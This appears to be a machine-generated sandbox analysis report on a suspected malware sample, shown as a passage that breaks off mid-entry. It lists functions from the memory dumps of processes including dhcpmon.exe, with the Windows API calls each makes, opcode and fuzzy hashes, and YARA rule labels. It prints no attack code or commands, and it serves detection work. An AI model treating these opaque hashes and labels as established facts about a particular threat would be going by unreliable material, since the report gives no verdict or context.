Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: FileInfoVersion
String ID:
API String ID: 2427832333-0
Opcode ID: c9b5987f6caa72e79088dd8090d8d49d7c730ed717ea062644c4182bdffa6d9c
Instruction ID: 38082552ca079c33fbe7e84b5de7f078b661e280ea164e51c2dfa4ec72e4fdff
Opcode Fuzzy Hash: c9b5987f6caa72e79088dd8090d8d49d7c730ed717ea062644c4182bdffa6d9c
Instruction Fuzzy Hash: 84019E726007049FDB208F19D885B56FFE8EF14320F18C0AADD498B692D275E808DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0090A826, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 0090A863

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: FileInfoSizeVersion
String ID:
API String ID: 1661704012-0
Opcode ID: a92d39155cd8ed0a29d661f51cca2656e97506bcfda05b4aecab742685edb8f9
Instruction ID: a2b093fbdba679719b1a73e3961ceae9b387d69e8e97b0ab571f8d322f6db7ef
Opcode Fuzzy Hash: a92d39155cd8ed0a29d661f51cca2656e97506bcfda05b4aecab742685edb8f9
Instruction Fuzzy Hash: A001B1719003009FDB10CF26D884756FFE8EF14320F18C4AADE088B242D2B9E805CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0090AC62, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E2C,?,?), ref: 0090ACB2

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: 1fadc3858f30bd71453c605fa2892e19ac6cce5696166e10b7f034eee66cf210
Instruction ID: 105e9913e6817610cecd9fe7e9e667d104b42ec3bad3da0e241c3215cec8c81e
Opcode Fuzzy Hash: 1fadc3858f30bd71453c605fa2892e19ac6cce5696166e10b7f034eee66cf210
Instruction Fuzzy Hash: 45016276540600ABD250DF16DC86F26FBE8FB88B20F14815AED085B741E371F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0090A36A, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0090A39C

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 82730b0f9a5c5811215a09135da6865b73b5dcbe0cebea7140ebb84517daaff6
Instruction ID: 4a976bf42a9f1a7159cfaa7282f9cd67881b58843a5b35f49b07d6712fe69b9d
Opcode Fuzzy Hash: 82730b0f9a5c5811215a09135da6865b73b5dcbe0cebea7140ebb84517daaff6
Instruction Fuzzy Hash: 4401DF71500340DFDB208F29E885766FFE8DF00321F18C4ABDD098F242D6B9A808DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0090A416, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0090A448

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: dad6597bd20a1c29eea6eaa47cf90f31d4d479cb1073f93da0b44181ae10c512
Instruction ID: 90be90a3d063e702dc4f0f39495171153592fa120485facd7c665ec0b2f79964
Opcode Fuzzy Hash: dad6597bd20a1c29eea6eaa47cf90f31d4d479cb1073f93da0b44181ae10c512
Instruction Fuzzy Hash: 01F0AF39500744DFDB20CF15D889766FFA4EF04721F18C4AADD494B2A2D2F9A848CAA3

Uniqueness

Uniqueness Score: -1.00%

Function 0090A23A, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNELBASE ref: 0090A269

Memory Dump Source

Source File: 00000007.00000002.226015457.000000000090A000.00000040.00000001.sdmp, Offset: 0090A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: c2cf8ee5c1cd8e675571f5e3c798b2bcccca0b7e66d5d7b12920d58cfc6587ce
Instruction ID: cf8faae3cbd5e5eeac89a049427b768fb45ef5835087ae9096a5ef9881bb425a
Opcode Fuzzy Hash: c2cf8ee5c1cd8e675571f5e3c798b2bcccca0b7e66d5d7b12920d58cfc6587ce
Instruction Fuzzy Hash: 81F0C231904744DFDB10CF19D885766FFE4EF05720F58C0AADD094F242D2BAA848CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 048D2660, Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

:@Dr, xrefs: 048D26B8

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID: :@Dr
API String ID: 0-3830894600
Opcode ID: 3746d9b428a3071a24682b2c9077b7c0d37926ccbe4ba212dd26985ce5379a28
Instruction ID: bfcfd01a460970e1b576b03604e01a0b2b47667c04ccdbb77f19cdc1662b5140
Opcode Fuzzy Hash: 3746d9b428a3071a24682b2c9077b7c0d37926ccbe4ba212dd26985ce5379a28
Instruction Fuzzy Hash: 2F71D030706210DFD725EF24D864B6A7BA1AF89315F01CAAAE54ACF695DB34FC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 048D1860, Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

</kr, xrefs: 048D18BC

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID: </kr
API String ID: 0-2427075492
Opcode ID: 36b551fabe205bd453352367f169335b2362eb17c08c3943c71a8de0fd334839
Instruction ID: 744e129b8e0ba39fed47815a0782a6cd674e075ba34059731bdcd7f42ad12018
Opcode Fuzzy Hash: 36b551fabe205bd453352367f169335b2362eb17c08c3943c71a8de0fd334839
Instruction Fuzzy Hash: 45711531705245DFDB01DF28C888AAE7BF6EF85300F4689AAE405CB2A6DB30ED45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 048D0006, Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

-]br^, xrefs: 048D00F1, 048D00F6

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID: -]br^
API String ID: 0-2500105029
Opcode ID: 8bd26256da232295caf72a2695c0b78604ceb674e36267e1792b571354c8f955
Instruction ID: d64c25c8e02f9da5b5116df6ae6726b688860e122b431325df0faf65e93f3781
Opcode Fuzzy Hash: 8bd26256da232295caf72a2695c0b78604ceb674e36267e1792b571354c8f955
Instruction Fuzzy Hash: 5431326050E3C58FC702AB34D8A56597FB1AF87204F1988DFD085CF2E7DA29980ACB12

Uniqueness

Uniqueness Score: -1.00%

Function 048D1C41, Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

</kr, xrefs: 048D1C78

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID: </kr
API String ID: 0-2427075492
Opcode ID: 781a088dafd183ee9620b91e577d4a3e15a315ab4b41db265dac465f8408d701
Instruction ID: 72d3cd79b6bc17f380e0ee407f5cfb5a426e58a5f517dfedde9d5a06c222a901
Opcode Fuzzy Hash: 781a088dafd183ee9620b91e577d4a3e15a315ab4b41db265dac465f8408d701
Instruction Fuzzy Hash: 42314D30B011049FDB18EFB8D458AAD7BE6AFC9314F20466AE116DB3E0DF719C458B40

Uniqueness

Uniqueness Score: -1.00%

Function 048D014F, Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

:@Dr, xrefs: 048D01A7

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID: :@Dr
API String ID: 0-3830894600
Opcode ID: 5914dd2e16dc7e85320de12ab1f6afd21800717da4a9702de23e8d99f7e2d4bc
Instruction ID: 0e2bae956aa15f290bca2604a7ebce24d7e8746724a24f1fcf71741493ffb6df
Opcode Fuzzy Hash: 5914dd2e16dc7e85320de12ab1f6afd21800717da4a9702de23e8d99f7e2d4bc
Instruction Fuzzy Hash: DB216272A15108AFDB05DFA6EC449DEBBB6FF8D311F14812AE506F3220EB315901DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00902477, Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226006246.0000000000902000.00000040.00000001.sdmp, Offset: 00902000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5744ad22437528c75ca1bfab9fdfa0838ea09de8b1101129b9d2f30a6d519d37
Instruction ID: 42c62066228f0caedf5b6a65dd8839ff0744038a381d6b97aafa38118ab687f9
Opcode Fuzzy Hash: 5744ad22437528c75ca1bfab9fdfa0838ea09de8b1101129b9d2f30a6d519d37
Instruction Fuzzy Hash: D7B146A290E7C68FDB0787306C7D654BFB69E2331475A41CBE485CF1F3D119484A8B6A

Uniqueness

Uniqueness Score: -1.00%

Function 048D1AC8, Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6bf0faca98800f327fb022ef1e24190a64efc2ac9f02d55e37940300a1d0a7c
Instruction ID: 5b2911883437bd4311809c80fa0a434c721720fa0ac33180a05adf9a40acacf6
Opcode Fuzzy Hash: a6bf0faca98800f327fb022ef1e24190a64efc2ac9f02d55e37940300a1d0a7c
Instruction Fuzzy Hash: A8411F30B11208DFDB14DFA9D958BAEBBB2FF84754F108565E505EB294EB70AC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 048D0521, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68a50554ac94af15a7ddbf2909484c12b80c8b58157d993e0416d37b66e0e14
Instruction ID: 416eb7c94b92945ab3cc670de7816b32a6d79babaaa596b260c6c8ebee4901c5
Opcode Fuzzy Hash: c68a50554ac94af15a7ddbf2909484c12b80c8b58157d993e0416d37b66e0e14
Instruction Fuzzy Hash: C2215C303012508FC799AB3CD46867E3AE3AFC6304B1405BAE406CF7E6DE299C418B82

Uniqueness

Uniqueness Score: -1.00%

Function 048D0530, Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f983022994ffa60adf99adb768f661d82edd7c3cb00a0b425e98dd1aacf5b29f
Instruction ID: 58e978ac81c021381e2eab9300ef9eb7dc6bcdbb74139f43148dc2eb409550c9
Opcode Fuzzy Hash: f983022994ffa60adf99adb768f661d82edd7c3cb00a0b425e98dd1aacf5b29f
Instruction Fuzzy Hash: C811E6303012108FC799AB7DD56863E3AE7AFC6705B24057AE40ACF7E5DE29DC419786

Uniqueness

Uniqueness Score: -1.00%

Function 048D0698, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b337f7bcbbd424a4e486109e9680d44c1609125230c17a366acf8939528910c4
Instruction ID: 580f3fc2c9ad8a06004026f88f375d21a68639c5f3d27236a50d4ebe91773a5f
Opcode Fuzzy Hash: b337f7bcbbd424a4e486109e9680d44c1609125230c17a366acf8939528910c4
Instruction Fuzzy Hash: C511C07271D6808FD30AA734A82C49D3FE2AFC632171A80AED442DB2A7DF644D02C752

Uniqueness

Uniqueness Score: -1.00%

Function 048D20C0, Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11ef57ed8c51b95337c62c58be3babc9e43a884a699bd1ac229e5beed52adcbe
Instruction ID: a7d84e1a4f40f6607f3f16f361f56f1dd6efdf41b07cd358ddd32e29c97cd185
Opcode Fuzzy Hash: 11ef57ed8c51b95337c62c58be3babc9e43a884a699bd1ac229e5beed52adcbe
Instruction Fuzzy Hash: 1F11E535B152108FDB24AF35E8587BA77A2AFC4311F058EFAE906C7295EB705840D791

Uniqueness

Uniqueness Score: -1.00%

Function 048D0630, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f8d9f7d4b2002718c10425e11ad557915a1e1c0b8506222156ff02b031b1c52
Instruction ID: 0230a3824184b472d0b2e941dac7a400df988a28863d9f64c09b3c07febe4b51
Opcode Fuzzy Hash: 7f8d9f7d4b2002718c10425e11ad557915a1e1c0b8506222156ff02b031b1c52
Instruction Fuzzy Hash: C001D4317146108FD709B73894286AD3BE3EFC5361B16807AE50ACB3A6DE254D02D786

Uniqueness

Uniqueness Score: -1.00%

Function 048D28D7, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26afd0ea11d7b46f7352a0ee5e8e08b8d8db2cf8d9736399374559f9b5f908a2
Instruction ID: 943101f1c71927b3b320c126aa6de9f14ab0f593c456ffc0b6aea868a2e48238
Opcode Fuzzy Hash: 26afd0ea11d7b46f7352a0ee5e8e08b8d8db2cf8d9736399374559f9b5f908a2
Instruction Fuzzy Hash: 54019E6064D3C15FD70667766824A9E3FB55FC7200B1A84AED095C72E3C968880ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 048D2350, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ddd705dc56f2d975ddd4de64181a186c0d3433168ce888fc8fb8fbe2c4c99a6
Instruction ID: de03c24caeba06e5792ea938383d29d37e1a60c8cca1974a9e6739697f03d85d
Opcode Fuzzy Hash: 2ddd705dc56f2d975ddd4de64181a186c0d3433168ce888fc8fb8fbe2c4c99a6
Instruction Fuzzy Hash: 4E01D1307402555FC715B738D4248BE3BE69FCA61031509AAD046CB3E5EE2ADC02C796

Uniqueness

Uniqueness Score: -1.00%

Function 048D28E8, Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a10558f03780373a602adb835223b6268f8d833f7319e4dced59bd1f59a48aa
Instruction ID: 9e582bf44ecc19f650f83cc12eff7432bf7195faf67d62831ede35f0e406d9ff
Opcode Fuzzy Hash: 0a10558f03780373a602adb835223b6268f8d833f7319e4dced59bd1f59a48aa
Instruction Fuzzy Hash: 67F0A4307093815FD70617765C3479E3FAA5FC7610B1A84AA9055C72E2CD648806D7A2

Uniqueness

Uniqueness Score: -1.00%

Function 048D22D0, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3810195b1891c267f5d0f39e63737510682b9274253af2b87447a8c497318d56
Instruction ID: 978929750b5a0052506e9ff9ce93f84afc29829815172a1e8f7e572ebda76651
Opcode Fuzzy Hash: 3810195b1891c267f5d0f39e63737510682b9274253af2b87447a8c497318d56
Instruction Fuzzy Hash: 9FF0AF30700120CFCB44AB7CC028AAA3BE6AFCD305B1581AEE50ACB3A5DE318C40C780

Uniqueness

Uniqueness Score: -1.00%

Function 048D06C8, Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50fdca419335af1dab3dffe977f1b8453d5a10cd59e0918624c9b9945dd2d3da
Instruction ID: 73b053856f3aa1eb2a51ea7a6a587cdafe6f2a20e86c39ff36624d9166b5a131
Opcode Fuzzy Hash: 50fdca419335af1dab3dffe977f1b8453d5a10cd59e0918624c9b9945dd2d3da
Instruction Fuzzy Hash: 70F0E271749280CFC305A734A81C59C3FA6DFCA36175980AAE81ACB2E3DF244807D783

Uniqueness

Uniqueness Score: -1.00%

Function 048D2448, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 233377649c8fd5167dcef45837875c6fa898ea370905efc4359709a0f4eb4883
Instruction ID: 9794dfd96014b523bcd2b6ad314fcb2b55b241ff5b0120a3641082f529a3b4c5
Opcode Fuzzy Hash: 233377649c8fd5167dcef45837875c6fa898ea370905efc4359709a0f4eb4883
Instruction Fuzzy Hash: 50F08C32304640DFC718DF29E8998DEBFEAEBC8361712843EE64A83354CA758C06CB50

Uniqueness

Uniqueness Score: -1.00%

Function 048D0640, Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d38f48535307ad436730b8c579421276ad75c733eef86eba2aa7101deb69fb9f
Instruction ID: ae1cc7793b52f460362d0b66c4c2ab0fd6ff040b85394e7fcb41e35f585feec4
Opcode Fuzzy Hash: d38f48535307ad436730b8c579421276ad75c733eef86eba2aa7101deb69fb9f
Instruction Fuzzy Hash: D5E065317185109F8708A739981C5AD3AE7DFC966135A8079E50AC3390DE204D02D796

Uniqueness

Uniqueness Score: -1.00%

Function 008C05F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.225952131.00000000008C0000.00000040.00000040.sdmp, Offset: 008C0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 452f0e9b817882ccf4948150b3a7a1dc39b0bd3b70c340ad4bb812b461d08c05
Instruction ID: 35810cf1be87ef180e3de7585d81e52cb4ec0ec8557798f4d80439c7aa29df4e
Opcode Fuzzy Hash: 452f0e9b817882ccf4948150b3a7a1dc39b0bd3b70c340ad4bb812b461d08c05
Instruction Fuzzy Hash: 40E09276641A008BD650CF0BEC81452FBE8EB88631B18C07FDC0D8B700E176F508CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 048D2458, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d7486c5682f008be8f9874d43531ef0485417cfadb10576ae4de83f957dfd4
Instruction ID: 564bf3b11112e0fd48e63578783e94d0915d4f67c580affa0ab6f9598e1824d5
Opcode Fuzzy Hash: f8d7486c5682f008be8f9874d43531ef0485417cfadb10576ae4de83f957dfd4
Instruction Fuzzy Hash: BDE09232314104DBC704EF29EC888DE7BDAEBC8261312D43AA90AC3354DE719C01C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 048D24F1, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34155577b0af42da9b1e8b02e4bb8a36923e8586fab0e07b79b7f16a396136c7
Instruction ID: 49dba88db92f9d59e8fe703d0c014b76fc7c811e429c561434be938d32df70bd
Opcode Fuzzy Hash: 34155577b0af42da9b1e8b02e4bb8a36923e8586fab0e07b79b7f16a396136c7
Instruction Fuzzy Hash: 17E06D312492504FC31567B8A424AEFBBAADFCA310F1440AFE145C73A2C975580287D5

Uniqueness

Uniqueness Score: -1.00%

Function 048D2500, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb230c33a27a5634b075eb8620187389b29f26f0824e8cc87104d2cea025a32b
Instruction ID: d2f1aac24c25331c6d389fdd88787565052753150acd488c4ec8629212595365
Opcode Fuzzy Hash: bb230c33a27a5634b075eb8620187389b29f26f0824e8cc87104d2cea025a32b
Instruction Fuzzy Hash: 0EE08C313002108BC34862ADA404A5A779ECBCA320B10407BA109C7395CDB5AC0147E5

Uniqueness

Uniqueness Score: -1.00%

Function 009023F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226006246.0000000000902000.00000040.00000001.sdmp, Offset: 00902000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b305671711dca7a1bd05a051c0933b02e18ff9872c018c594e2b27d89ab8c4e5
Instruction ID: ffdd05d81052c6d462d62aa0d426bb920df05e78f801f1a2001727dce4977f9f
Opcode Fuzzy Hash: b305671711dca7a1bd05a051c0933b02e18ff9872c018c594e2b27d89ab8c4e5
Instruction Fuzzy Hash: 49D05E79219A818FD3268B1CC1A8B953B98AB51B04F4644FDE8008B6B3C368D981D200

Uniqueness

Uniqueness Score: -1.00%

Function 048D241A, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1564020e3d0113efed2fc0be152285bd2b672cc81fac2082873aa41eed85926e
Instruction ID: 5a4df0049024a2b28ce53c8c54eb96ef03b08ac87d12647834bfaeb449ca6ccc
Opcode Fuzzy Hash: 1564020e3d0113efed2fc0be152285bd2b672cc81fac2082873aa41eed85926e
Instruction Fuzzy Hash: 0EE0C27044D340DFD3029F10DC548A97FB0FE82600F4988AEE084C7162E6348618C762

Uniqueness

Uniqueness Score: -1.00%

Function 048D0251, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ec973c5ba334eaa9c56eefb08b2c4c69a06f91ccfbe345bbb7996daa17f3aa7
Instruction ID: 2411708724e97cbc1a3e3b8876cd0db40e4305673107a4a7e678f941c2085c96
Opcode Fuzzy Hash: 2ec973c5ba334eaa9c56eefb08b2c4c69a06f91ccfbe345bbb7996daa17f3aa7
Instruction Fuzzy Hash: ACD01236B05014CFDF0497BDF8041ECBBA1EFC5229F20117BD60ADB651E9319D198701

Uniqueness

Uniqueness Score: -1.00%

Function 009023BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226006246.0000000000902000.00000040.00000001.sdmp, Offset: 00902000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0151f2f5d889b640f0fc2278534760881e166a50d65c6b6ee2f070ef8754504e
Instruction ID: bc91277b7598db5d117174884266e4eb7037a3099d942d01c69b01436b593f15
Opcode Fuzzy Hash: 0151f2f5d889b640f0fc2278534760881e166a50d65c6b6ee2f070ef8754504e
Instruction Fuzzy Hash: 5CD05E342002818FCB15DB0CD598F5937D8AB41B00F0644E8AC008B6A2C3B8DC81C600

Uniqueness

Uniqueness Score: -1.00%

Function 048D0130, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ff401217b9b103443288f2b4d25ee5a934d44072985e50bbe257a6c49b8cd2a
Instruction ID: b386036d6800cd03b7143c042a34df77fd9abc0be53b7327417d27fc3ad63e47
Opcode Fuzzy Hash: 4ff401217b9b103443288f2b4d25ee5a934d44072985e50bbe257a6c49b8cd2a
Instruction Fuzzy Hash: 1FC02B3035860807DF001FF8BC84377338C87C0308F004831B40ECB140FC29E8408240

Uniqueness

Uniqueness Score: -1.00%

Function 048D2428, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.226958013.00000000048D0000.00000040.00000001.sdmp, Offset: 048D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05d970c42f5d915b8109f2a0b07e14680af7acc81336d5c34a18ed702bd1253c
Instruction ID: 2c7f96292151c9a0b5d58b4cc15c1eb964e796a4370a07d65111efac69767f8f
Opcode Fuzzy Hash: 05d970c42f5d915b8109f2a0b07e14680af7acc81336d5c34a18ed702bd1253c
Instruction Fuzzy Hash: 11C012B0418201EFD741EF28ED4586A7BF0FAC0605F85C92CE489C2110F230551CCB52

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: dhcpmon.exe PID: 6076 Parent PID: 528 dhcpmon.exeCOMMON

Executed Functions

Function 010FA2C1, Relevance: 1.6, APIs: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 010FA371

Memory Dump Source

Source File: 00000009.00000002.226388783.00000000010FA000.00000040.00000001.sdmp, Offset: 010FA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 25c0649d5c6f95f543e30c77944e3e77a4ecb62b480ccee2fcb24bc0d253177f
Instruction ID: f40ce37a49cd9c19ddbc145ec75ecef7c49abb1616305b07d08068c7f1230a8e
Opcode Fuzzy Hash: 25c0649d5c6f95f543e30c77944e3e77a4ecb62b480ccee2fcb24bc0d253177f
Instruction Fuzzy Hash: EB318075504380AFE722CF25DC85F56BFF8EF06210F08849EEA858B252D365E808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 010FA2F2, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 010FA371

Memory Dump Source

Source File: 00000009.00000002.226388783.00000000010FA000.00000040.00000001.sdmp, Offset: 010FA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: af4b1aabf53eafebc5e3a2282c5ecb50ee56c2c8874dbb11c7c021e38138a461
Instruction ID: 889ea2303b630cbb814e406ba9a24a9d89dd8804d14426d0b54eeaa620bb8a60
Opcode Fuzzy Hash: af4b1aabf53eafebc5e3a2282c5ecb50ee56c2c8874dbb11c7c021e38138a461
Instruction Fuzzy Hash: EE216B75600640EFE721DF69D885F66FBE8EF08610F1484AEEA899B652D3B1E404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 010FAE40, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E2C,?,?), ref: 010FAED6

Memory Dump Source

Source File: 00000009.00000002.226388783.00000000010FA000.00000040.00000001.sdmp, Offset: 010FA000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: 8824c8b15f5c14d4ec77e470dec99172042329abefe8ef60a3a34c6e587b9ae9
Instruction ID: 557c411a58197bb5ef3fdd88a132465238c8b73bca8fb44efa78f72c555808c9
Opcode Fuzzy Hash: 8824c8b15f5c14d4ec77e470dec99172042329abefe8ef60a3a34c6e587b9ae9
Instruction Fuzzy Hash: 622195754097806FD3138B259C51B62BFB8EF87B10F0981DBE8848B553D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 010FA483, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,37AD6CE5,00000000,00000000,00000000,00000000), ref: 010FA509

Memory Dump Source

Source File: 00000009.00000002.226388783.00000000010FA000.00000040.00000001.sdmp, Offset: 010FA000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: c6dc67fcdeeea1b39523818f3c518e53381d1d90db731958d7d26fa648c7f9e4
Instruction ID: 84723b41218a61bf67cec303bc34c1f0637e70aa581431744f1f54016fd0b2b3
Opcode Fuzzy Hash: c6dc67fcdeeea1b39523818f3c518e53381d1d90db731958d7d26fa648c7f9e4
Instruction Fuzzy Hash: DC21D876408380AFE7128B25DC45FA2BFB8EF47710F1880DBEE849B253D264A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 010FA3C8, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

